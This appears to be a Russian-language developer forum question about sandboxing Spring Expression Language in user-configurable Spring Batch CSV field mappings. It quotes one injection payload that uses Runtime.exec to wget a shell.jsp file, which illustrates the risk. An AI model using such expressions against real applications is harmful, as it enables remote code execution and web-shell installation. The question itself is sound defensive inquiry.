Я использую Spring-EL для создания динамических сопоставлений полей csv и полей классов, используемых в различных заданиях импорта Spring-Batch.(Разные входные файлы, одинаковые выходные классы).Это работает очень хорошо, но идея в том, что у пользователя должна быть возможность создать такую конфигурацию отображения.
Проблема в том, что выражения Spring-EL не выполняются внутри своего рода песочницы, и поэтому очень легко ввести злой код.Например:
name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")
Мой вопрос такой: как я могу запустить Spring-EL внутри какой-то песочницы или ограничить доступ только определенным набором методов / классов?Я не могу найти ничего, что связано с этой темой.Возможно, Spring-EL - не правильный выбор для этой работы.
Пример того, чего я пытаюсь достичь:
name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)